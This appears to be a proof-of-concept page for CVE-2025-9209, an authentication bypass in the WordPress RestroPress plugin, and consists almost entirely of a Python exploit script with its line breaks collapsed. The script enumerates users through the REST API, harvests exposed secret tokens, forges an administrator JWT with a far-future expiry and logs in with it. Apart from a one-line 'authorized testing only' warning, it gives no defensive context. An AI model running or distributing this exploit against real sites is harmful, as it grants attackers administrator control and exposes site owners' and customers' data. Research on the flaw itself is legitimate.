CVE-2025-9209 WordPress RestroPress插件认证绕过漏洞

# CVE-2025-9209 PoC - RestroPress Authentication Bypass # Exploits exposed user private tokens via WP REST API to forge JWT tokens import requests import jwt import json TARGET_URL = "http://target-wordpress-site.com" # Step 1: Query the WordPress REST API to enumerate users and extract sensitive tokens def extract_user_tokens(target_url): """Extract private tokens and API data from exposed WP REST API endpoint""" api_endpoint = f"{target_url}/wp-json/wp/v2/users" try: response = requests.get(api_endpoint, timeout=10) if response.status_code == 200: users = response.json() print(f"[+] Found {len(users)} user(s) exposed via REST API") for user in users: print(f"\n[+] User ID: {user.get('id')}") print(f" Name: {user.get('name')}") print(f" Slug: {user.get('slug')}") # RestroPress exposes sensitive meta fields in user object meta = user.get('meta', {}) if meta: print(f" Meta keys: {list(meta.keys())}") # Check for RestroPress-specific token fields for key, value in user.items(): if 'token' in key.lower() or 'secret' in key.lower() or 'key' in key.lower(): print(f" [!!!] Sensitive field '{key}': {value}") return users else: print(f"[-] Failed to access API. Status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None # Step 2: Forge JWT token using extracted secret def forge_jwt_token(user_data, secret_key): """Forge a JWT token to impersonate the target user""" payload = { "iss": TARGET_URL, "iat": 1696377600, "exp": 9999999999, "user_id": user_data.get('id'), "username": user_data.get('slug'), "email": user_data.get('email', ''), "roles": ["administrator"] # Forge admin role } # Sign JWT with extracted secret using HS256 token = jwt.encode(payload, secret_key, algorithm="HS256") print(f"[+] Forged JWT token: {token}") return token # Step 3: Use forged token to authenticate as admin def authenticate_with_token(target_url, token): """Authenticate to WordPress using the forged JWT token""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Verify authentication by accessing admin endpoint admin_endpoint = f"{target_url}/wp-json/wp/v2/users/me" response = requests.get(admin_endpoint, headers=headers, timeout=10) if response.status_code == 200: user_info = response.json() print(f"[+] SUCCESS! Authenticated as: {user_info.get('name')}") print(f" Roles: {user_info.get('roles', [])}") return True else: print(f"[-] Authentication failed. Status: {response.status_code}") return False # Main exploit execution if __name__ == "__main__": print("[*] CVE-2025-9209 - RestroPress Authentication Bypass PoC") print("[*] WARNING: For authorized security testing only!\n") # Extract user tokens users = extract_user_tokens(TARGET_URL) if users: # Target the first user (usually admin with ID=1) target_user = users[0] # Extract the secret key (field name may vary based on plugin version) secret_key = target_user.get('restropress_token', '') or \ target_user.get('meta', {}).get('restropress_token', '') or \ target_user.get('jwt_secret', '') if secret_key: # Forge and use JWT token forged_token = forge_jwt_token(target_user, secret_key) authenticate_with_token(TARGET_URL, forged_token) else: print("[-] Could not extract secret key from user data")